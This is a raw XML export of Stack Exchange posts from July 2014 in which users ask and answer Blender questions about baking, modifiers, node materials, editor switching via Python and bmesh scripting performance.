  <row Id="14414" PostTypeId="2" ParentId="14354" CreationDate="2014-07-27T09:04:12.597" Score="0" Body="&lt;p&gt;I'm not quite sure how to have a string/integer inputbox, but this hopefully should help you with some of your creations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Python_Scripting/Addon_Custom_Property&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Python_Scripting/Addon_Custom_Property&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck my friend.&lt;/p&gt;&#xA;" OwnerUserId="2869" LastActivityDate="2014-07-27T09:04:12.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="2" ParentId="6711" CreationDate="2014-07-27T09:31:07.647" Score="2" Body="&lt;p&gt;If you mean that you want to turn, let's say, your current editor to the UV Image Editor, you could use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = 'IMAGE_EDITOR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the rest of the strings you put for different screens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3D Object Editor - 'VIEW_3D'&#xA;Timeline editor - 'TIMELINE'&#xA;Graph Editor - 'GRAPH_EDITOR'&#xA;Dopesheet Editor - 'DOPESHEET_EDITOR'&#xA;NLA Editor - 'NLA_EDITOR'&#xA;UV Image Editor - 'IMAGE_EDITOR'&#xA;Sequence Editor - 'SEQUENCE_EDITOR'&#xA;Clip Editor - 'CLIP_EDITOR'&#xA;Text Editor - 'TEXT_EDITOR'&#xA;Node Editor - 'NODE_EDITOR'&#xA;Game Logic Editor - 'LOGIC_EDITOR'&#xA;Properties Panel - 'PROPERTIES_EDITOR'&#xA;Outliner - 'OUTLINER'&#xA;User Preferences Screen - 'USER_PREFERENCES'&#xA;Info Panel - 'INFO'&#xA;File Browser - 'FILE_BROWSER'&#xA;Python Console - 'CONSOLE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The colours above don't mean anything)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to switch to the file browser, you would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = 'FILE_BROWSER'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="2869" LastActivityDate="2014-07-27T09:31:07.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="1" AcceptedAnswerId="14418" CreationDate="2014-07-27T10:33:05.867" Score="13" ViewCount="18220" Body="&lt;p&gt;I want to make some cool items for Dota 2 and I'm reading a guide. There are some tips about baking  etc. but I can't use them, because I don't even know what baking means. Can somebody explain this, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all answers.&lt;/p&gt;&#xA;" OwnerDisplayName="user3123" LastEditorUserId="241" LastEditDate="2014-07-27T12:08:36.093" LastActivityDate="2014-07-28T21:33:07.613" Title="What does &quot;Baking&quot; mean?" Tags="&lt;modeling&gt;&lt;baking&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="2" ParentId="5075" CreationDate="2014-07-27T10:51:10.060" Score="1" Body="&lt;p&gt;You first need to check the &quot;Transparent&quot; check box, under the subsection &quot;Film&quot; of the tab &quot;Render&quot; (the icon is a camera), on the &quot;Properties&quot; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TU7yJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to connect the &quot;Alpha&quot; output from the RenderLayer to the &quot;Fac&quot; (Factor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/afcIi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, finally, where I have blue, you would connect your video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wP81p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-27T10:51:10.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14418" PostTypeId="2" ParentId="14416" CreationDate="2014-07-27T10:56:48.523" Score="23" Body="&lt;p&gt;There are a couple different kinds of baking.&lt;/p&gt;&#xA;&lt;h1&gt;Texture baking&lt;/h1&gt;&#xA;&lt;p&gt;Baking could mean that you calculate specified data, and save it to a texture, which then you use in your material.&lt;/p&gt;&#xA;&lt;p&gt;The purpose of baking is to save in render times, because Blender recalculates all shadows, lighting and what not, every single frame, which results in a lot of time wasted time for long animations.&lt;/p&gt;&#xA;&lt;p&gt;However, render baking should only be used on objects which don't move, or aren't affected by other moving objects (except for the camera), otherwise the viewer will notice that shadows are moving when they shouldn't be, or are not moving when they should, breaking the illusion of realism.&lt;/p&gt;&#xA;&lt;h1&gt;Physics baking&lt;/h1&gt;&#xA;&lt;p&gt;Baking can also mean precalculating physics simulations such as Cloth or Rigid Body. For this Blender saves them to a file, which then loads when rendering or playing back the animation so that the physics don't have to be recalculated every time.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-28T21:33:07.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="2" ParentId="6548" CreationDate="2014-07-27T11:08:03.020" Score="1" Body="&lt;p&gt;Tracking a piece of paper as it moves around in a video is a matter of following some points on the video, an image can then be distorted relatively easy to match the movement of the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To track camera movement you need points that are not only following points on the video but that can also be used to define a three dimensional box in front of the camera. When reconstructing camera motion you specify some points that are flat on the ground and also raised up on a wall. This provides a way to re-create the camera movement relative to the given points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the camera movement you can then track objects that move relative to these points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With enough points on an object you can get the same effect as an object moving in front of the camera, but in your example video you have nothing that adds height to the sheet so there is no way of re-creating the rotation of the page, the best you can do is distort a 2d image to match the distortion of the page in front of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your screenshot you have a solve error of 18.65. A solve error less than 1.0 is considered a good track with values up to 3.0 considered possibly good enough to work with. Anything higher than 3.0 is considered a bad track.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-27T11:08:03.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14420" PostTypeId="2" ParentId="14400" CreationDate="2014-07-27T11:16:32.717" Score="0" Body="&lt;p&gt;I think this is what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpfyX.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKur9.png&quot; alt=&quot;Render Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane bellow only has a Glossy shader, with Roughness of 0,05.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that you use the value for &quot;Ray Length&quot; that comes with the Light Path node, the I multiply it by like 500, because that's green in terms of Wavelength, but you can generate a color using a Combine RGB node. Then just use the Is Reflection Ray as the factor for a Mix shader, so it only shows up for that ray.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-27T11:16:32.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14422" PostTypeId="1" AcceptedAnswerId="14423" CreationDate="2014-07-27T16:20:47.507" Score="10" ViewCount="15160" Body="&lt;p&gt;I'm somewhat new to blender (I've been using it for a few months but am still not fully comfortable with it). I'm trying to take a cylinder and duplicate it around an origin in a circular shape. I'm trying to get it to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jiHnI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked up some tutorials on this, and they said to put an empty at the center of the rotation, and add an array modifier to the cylinder with &quot;Object Offset&quot; set to the empty. I did that, and instead of rotating around, the cylinders are getting scaled (it looks exponential). I'm not sure why this is happening. It's happened before but I wrote it off as some bad modifiers I applied earlier. But this is simply a cylinder and an empty. A screenshot of my setup and results is below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksf2S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's kind of hard to see, but the empty is at the origin of the grid, inside the second smallest cylinder. The really small, thin cylinder is the one to which the modifier has been applied. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="241" LastEditDate="2014-07-27T16:33:51.657" LastActivityDate="2018-02-01T03:15:24.543" Title="Array modifier is scaling objects for seemingly no reason" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14423" PostTypeId="2" ParentId="14422" CreationDate="2014-07-27T16:32:53.297" Score="14" Body="&lt;p&gt;The array modifier's object offset offsets each copy by the location, rotation and scale difference the object and the target, the empty in this case, have. You object has an uneven scale that is less than one, and since the empty has larger scale than the object, the object is scaled up for each copy.&#xA;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; &lt;kbd&gt;apply scale&lt;/kbd&gt; to set the object's scale to 1 on all axes and the scale won't change. Also for doing circle arrays, there should not be difference in location, else each copy of the object will also move by some offset. You can apply the location of the object as well to move the object's origin to the scene center.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2014-07-27T16:43:30.637" LastActivityDate="2014-07-27T16:43:30.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14425" PostTypeId="1" CreationDate="2014-07-27T17:43:06.670" Score="5" ViewCount="32072" Body="&lt;p&gt;Materials created in material properties are not showing up in the node editor in blender 2.70.  Is there something I need to turn on?  I've looked in user preferences and I don't see anything obvious.&lt;/p&gt;&#xA;" OwnerUserId="4792" LastEditorUserId="3127" LastEditDate="2014-07-27T20:02:19.100" LastActivityDate="2021-05-21T17:25:29.053" Title="Nodes not visible for material created in properties panel" Tags="&lt;materials&gt;&lt;interface&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="2" ParentId="14425" CreationDate="2014-07-27T18:13:56.053" Score="16" Body="&lt;p&gt;Here are some possible causes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're working in blender internal rather than cycles:&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/C7csQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/li&gt;&#xA;&lt;li&gt;You're working with the compositing nodes:&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/T0fod.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;Make sure that the selected option is the little ball, &lt;em&gt;not&lt;/em&gt; the one that's selected in the image.&lt;/li&gt;&#xA;&lt;li&gt;Your view is not in the right place. hit the &lt;kbd&gt;.&lt;/kbd&gt; key on your number pad. if nothing happens, hit &lt;kbd&gt;A&lt;/kbd&gt; then &lt;kbd&gt;.&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make sure use nodes is checked&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="23709" LastEditDate="2021-05-21T17:25:29.053" LastActivityDate="2021-05-21T17:25:29.053" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14427" PostTypeId="1" CreationDate="2014-07-27T19:17:53.750" Score="1" ViewCount="795" Body="&lt;p&gt;I have been working with this STL file (a gauntlet for a prosthetic hand.) &#xA;&lt;img src=&quot;https://i.stack.imgur.com/EJMvM.png&quot; alt=&quot;gauntlet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to flatten the curve at the top to fit the arm (basically just push the top down a bit), but the rest of it fits well, so I don't want to mess with the other proportions. I have been messing with selecting and grabbing the top and pushing it down, but this makes the inside of the gauntlet unsmooth with the pushed down materal. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file thru dropbox: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/95913396/extendedgauntlet1longer.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/95913396/extendedgauntlet1longer.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5382" LastEditorUserId="599" LastEditDate="2014-07-29T00:52:47.080" LastActivityDate="2015-02-24T09:50:12.117" Title="How to flatten the curve of a complicated STL" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14428" PostTypeId="2" ParentId="9269" CreationDate="2014-07-27T19:37:27.363" Score="2" Body="&lt;p&gt;This issue arose because the UV for every other windowpane was upside down, correcting this resolved the lighting issue, although it is unclear why.&lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2014-07-27T19:37:27.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14431" PostTypeId="1" CreationDate="2014-07-27T23:02:31.393" Score="0" ViewCount="1023" Body="&lt;p&gt;I am creating an animation that shows the assembly of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Meccano&quot; rel=&quot;nofollow&quot;&gt;Meccano&lt;/a&gt; toy (erector set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not concerned with showing any shadows or reflections, I just want my objects to be simple colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I approach lighting and material settings to get the fastest render times?&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="9" LastEditDate="2014-07-28T14:37:05.513" LastActivityDate="2014-07-28T14:37:05.513" Title="Approach to get fastest flat color render times?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-07-28T15:19:18.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="14432" PostTypeId="2" ParentId="13724" CreationDate="2014-07-27T23:04:04.483" Score="0" Body="&lt;p&gt;I'm currently working on a similar problem, and something I noticed is that the more memory Blender is currently using (tracked with task manager) the slower everything gets. One way to reduce the amount of memory Blender uses is to save and reload the file (although it doesn't reduce memory usage as much as restarting Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename = 'path/to/blend/file'&#xA;counter = 0&#xA;stepsize = 500&#xA;for t in data_to_import:&#xA;    do stuff to import data&#xA;    counter += 1&#xA;    if counter &amp;gt; stepsize&#xA;        combine data and link it to scene&#xA;        bpy.ops.wm.save_mainfile(filepath=filename)&#xA;        bpy.ops.wm.open_mainfile(filepath=filename)&#xA;        counter = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably not the best solution, but it helped a bit in my case.&#xA;Which value to choose for stepsize is also up for debate. My particular script takes 286 seconds for stepsize of 500, 87 seconds for stepsize = 100, but 114 seconds for stepsize = 30. I didn't check though how much of that was reloading the file etc. so it might also be faster with an SSD. And depending on your problem you might also need to consider if you need to do a lot of postprocessing.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="5383" LastEditDate="2014-07-28T14:12:06.067" LastActivityDate="2014-07-28T14:12:06.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14433" PostTypeId="2" ParentId="13508" CreationDate="2014-07-27T23:11:35.540" Score="0" Body="&lt;p&gt;You have to be in object mode to bake. So unwrap in edit mode, create your new image in uv image editor by splitting a window, name it and save it on your hd. Now, go into object mode, select the image texture node so that it is highlighted in orange, then hit bake. Then, re save the image under the image drop down. I had the same problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I got a new problem that required me add an image texture to another object in the scene before bake the current one. &lt;/p&gt;&#xA;" OwnerUserId="4963" LastEditorUserId="63" LastEditDate="2014-09-02T14:50:58.517" LastActivityDate="2014-09-02T14:50:58.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="1" AcceptedAnswerId="14435" CreationDate="2014-07-27T23:52:06.267" Score="5" ViewCount="3994" Body="&lt;p&gt;I created an animation... I put too much time between 2 keyframes. How do I remove some of that time from the timeline? I don't want to remove the keyframe... just some of the normal frames between the 2 keyframes?&lt;/p&gt;&#xA;" OwnerUserId="5385" LastActivityDate="2019-10-14T17:04:49.513" Title="How do you remove frames in Blender?" Tags="&lt;animation&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14435" PostTypeId="2" ParentId="14434" CreationDate="2014-07-28T00:11:37.083" Score="8" Body="&lt;p&gt;I don't think you can remove frames. However, you can go into the &quot;Animation&quot; screen and move your keyframes closer together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the top of the window where it says &quot;Default&quot; and from the drop-down choose &quot;Animation&quot;. You'll get a Dope-sheet on your left. You have to find your keyframe, select it and move it. Normal keys for selecting and moving, thus &lt;kbd&gt;A&lt;/kbd&gt; for toggling selection, right-click for selecting, and &lt;kbd&gt;G&lt;/kbd&gt; for moving.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="599" LastEditDate="2014-07-28T22:41:59.740" LastActivityDate="2014-07-28T22:41:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14436" PostTypeId="1" CreationDate="2014-07-28T00:46:42.787" Score="2" ViewCount="1633" Body="&lt;p&gt;I have been having a problem with &quot;can not operate boolean operation&quot; to unite 2 objects. One is definitely mesh and other one, I thought it was mesh but it has a different icon next to it. I did roll over it but it did not tell me what it meant. I suspect this needs to be converted to a proper mesh to boolean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the icon in the outliner panel immediately to the left of the &lt;em&gt;stem final copy&lt;/em&gt; and &lt;em&gt;stem_final&lt;/em&gt; objects. It is a file imported from sketch up, with the file format &quot;dae&quot;. I also converted this file in another software &quot;mesh lab&quot; obj file, ply file, neither worked. One file imported from mesh lab in the form of dae worked as mesh, so I am not sure what is going on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivPMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to find out if the object is non-manifold with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;, all the lines light up in orange… &lt;/p&gt;&#xA;" OwnerUserId="5386" LastEditorUserId="599" LastEditDate="2014-07-29T01:11:23.370" LastActivityDate="2014-07-29T01:11:23.370" Title="What does the icon to the left of the object name in the outliner mean?" Tags="&lt;interface&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="2" ParentId="14436" CreationDate="2014-07-28T02:26:53.413" Score="3" Body="&lt;p&gt;If you examine the &quot;add objects&quot; menu, visible by using the SHIFT-Akey combination, or the  Spacebar &gt; Akey sequence, you will see that the icon to the left of &quot;stem final copy&quot;, and &quot;stem_final&quot; in the excerpt of the image of the outliner panel you link to is used for one of three object types: an empty object, a force field, and a group instance. None of the three is a mesh, and so cannot be part of a boolean operation, as these take two mesh data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create something equivalent to an empty by adding a mesh object, and in edit mode selecting and then deleting all of its vertices, but I don't see in the Blender Manual any information on converting an empty, force field, or group instance to a mesh.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-07-28T02:57:04.223" LastActivityDate="2014-07-28T02:57:04.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="1" AcceptedAnswerId="14462" CreationDate="2014-07-28T02:30:51.530" Score="1" ViewCount="1429" Body="&lt;p&gt;I realize similar questions have been asked before and I followed the advice given there but I hope to gain more insight on the matter here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a lot of details, I hope it's not too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have information about voxel-based terrain, which I want to put together in a 3D model, basically using different voxel building blocks. The currently fastest version of my script will create 980000 vertices (after removing doubles) in 5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant parts of my script look something like this (simplified to focus on relevant parts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;generate_relevant_map_data_from_file()&#xA;&#xA;bm = bmesh.new()&#xA;stepsize = 500&#xA;col_num = 0&#xA;&#xA;#this part builds a dictionary for the different voxel types with the corresponding&#xA;#bmesh and translocation vector&#xA;obj_meshes = [&quot;WALL&quot;, &quot;FLOOR&quot;, &quot;TREE&quot;, ...]            &#xA;mesh_dict = {s: type('bm_ext', (object,), dict(v=Vector((0, 0, 0)), bm=bmesh.new())) for s in obj_meshes}&#xA;for k in mesh_dict:&#xA;    mesh_dict[k].bm.from_object(bpy.data.objects[k], bpy.context.scene)&#xA;&#xA;#this is where all the stuff is generated&#xA;for c in columns:&#xA;    col_num += 1&#xA;    for t in c:&#xA;        identificator = t.generate_id()&#xA;        loc = Vector((t.x * 2, t.y * - 2, t.z * 3))&#xA;&#xA;        #this is where I tried to optimize things&#xA;        #the different attempts are shown and explained below&#xA;        &quot;&quot;&quot;&#xA;        INSERT CODE HERE&#xA;        &quot;&quot;&quot;&#xA;&#xA;    if numBlocks &amp;gt;= stepsize:&#xA;        bmesh.ops.remove_doubles(bm, verts=bm.verts, dist=0.0001)&#xA;        me = bpy.data.meshes.new(&quot;landscape&quot;)&#xA;        bm.to_mesh(me)&#xA;        ob = bpy.data.objects.new(&quot;Land&quot;, me)&#xA;        bpy.context.scene.objects.link(ob)&#xA;        bm = bmesh.new()&#xA;        numBlocks = 0&#xA;        bpy.ops.wm.save_mainfile(filepath=filename)&#xA;        bpy.ops.wm.open_mainfile(filepath=filename)&#xA;&#xA;#do the same as above to finalize object creation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fastest version for INSERT CODE HERE I have found so far looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_bm = mesh_dict[identificator].bm&#xA;bmesh.ops.translate(add_bm, vec=loc-mesh_dict[identificator].v, verts=add_bm.verts)&#xA;mesh_dict[identificator].v = loc&#xA;me = bpy.data.meshes.new(&quot;temp&quot;)&#xA;add_bm.to_mesh(me)&#xA;bm.from_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First of all, I noticed that the speed is very dependent on how much memory Blender is using. Even when I just interrupt the script, delete anything it created and restart it, the speed will be similar to when I interrupted it. This is why I reload the .blend file every 500 columns. Is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: Is there a function to directly copy bmesh data from one to another? Right now I first export to Mesh, and then load from there, which seems really clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing else, it would at least be nice to these 2 things explained/resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my other attempts are described below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I didn't have the dictionary with the bmeshes and created them new every time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_bm = bmesh.new()&#xA;add_bm.from_object(bpy.data.objects[identificator], bpy.context.scene)&#xA;bmesh.ops.translate(add_bm, vec=loc, verts=add_bm.verts)&#xA;me = bpy.data.meshes.new(&quot;temp&quot;)&#xA;add_bm.to_mesh(me)&#xA;add_bm.free()&#xA;bm.from_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is slightly slower than what I have now, but not by much (286s vs 292s, so maybe it was just chance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this was one of my earliest attempts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_vert = len(bm.verts)&#xA;bm.from_object(bpy.data.objects[identificator], bpy.context.scene)&#xA;bmesh.ops.translate(bm, vec=loc, verts=bm.verts[start_vert:len(bm.verts)])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It already took 58 sec for the first batch of 500 columns, when there is a total of 9000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought, maybe always creating the new meshes was taking a lot of time and I couldn't find a function to copy data directly from one bmesh to another so I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_bm = bmesh.new()&#xA;add_bm.from_object(bpy.data.objects[identificator], bpy.context.scene)&#xA;bmesh.ops.translate(add_bm, vec=loc, verts=add_bm.verts)&#xA;vertindex_offset = len(bm.verts)&#xA;for v in add_bm.verts:&#xA;    bm.verts.new(v.co)&#xA;for e in add_bm.edges:&#xA;    bm.edges.new([bm.verts[v.index + vertindex_offset] for v in e.verts])&#xA;for f in add_bm.faces:&#xA;    bm.faces.new([bm.verts[v.index + vertindex_offset] for v in f.verts])&#xA;add_bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought this would be a more low-level approach, but I was obviously very mistaken, because this one also already took 60 seconds for the first batch of 500 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I also tried creating a bunch of linked object copies like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;copy = bpy.data.objects[identificator].copy()&#xA;copy.location = loc&#xA;bpy.context.scene.objects.link(copy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it was also a lot slower. Additionally, opening the file takes several seconds.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="5383" LastEditDate="2014-07-28T16:01:56.913" LastActivityDate="2016-07-07T07:49:16.230" Title="What is the fastest way of creating a large mesh/object built from smaller mesh &quot;building blocks&quot;" Tags="&lt;python&gt;&lt;performance&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="1" AcceptedAnswerId="14445" CreationDate="2014-07-28T05:11:41.167" Score="0" ViewCount="124" Body="&lt;p&gt;At the moment, I do not have a powerful GPU to be even doing extensive 3D modeling, but oh well, I downloaded Blender and started making something anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Blender (with Cycles render engine) simultaneously renders two or three blocks. I thought maybe I can limit the block to just one, so that the internal graphics GPU can render that specific block to the specified sample value.&lt;/p&gt;&#xA;" OwnerUserId="5388" LastEditorUserId="6204" LastEditDate="2016-12-19T13:07:53.327" LastActivityDate="2016-12-19T13:07:53.327" Title="Better Rendering with focus one position?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-07-29T10:27:03.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="14443" PostTypeId="1" AcceptedAnswerId="14471" CreationDate="2014-07-28T05:58:37.120" Score="3" ViewCount="2713" Body="&lt;p&gt;I have a Photograph where I want to edit in some rendered storm clouds and therefore downloaded Blender and started to have a look into it. I'm following &lt;a href=&quot;https://www.youtube.com/watch?v=gEJRrRLRHJA&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to build a cloud with Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My computer isn't really fast with graphics and if I try to bake with 300 divisions and 5 high res divisions, Blender crashes.&lt;br&gt;&#xA;I was able to figure out that a bake at 250 devisions and 5 high res devisions works, however it will take about a day. I only need a still render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce the baking time, I set the scene duration to a total of 15 frames, adjusted the baking frame span from 1 to 15, and I put in a temperature difference in the smoke domain settings at 0.2 because I want the smoke rise a bit to give it some texture. The still I want to render is at about frame 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set in the frame settings for baking 6 to 8 however then frame 7 looks like the smoke was just emitted at this frame only and not the first one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to bake a single frame?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5291" LastEditorUserId="599" LastEditDate="2014-07-29T06:45:09.083" LastActivityDate="2015-11-21T22:56:51.430" Title="Is it possible to bake a single frame of a smoke simulation?" Tags="&lt;smoke-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
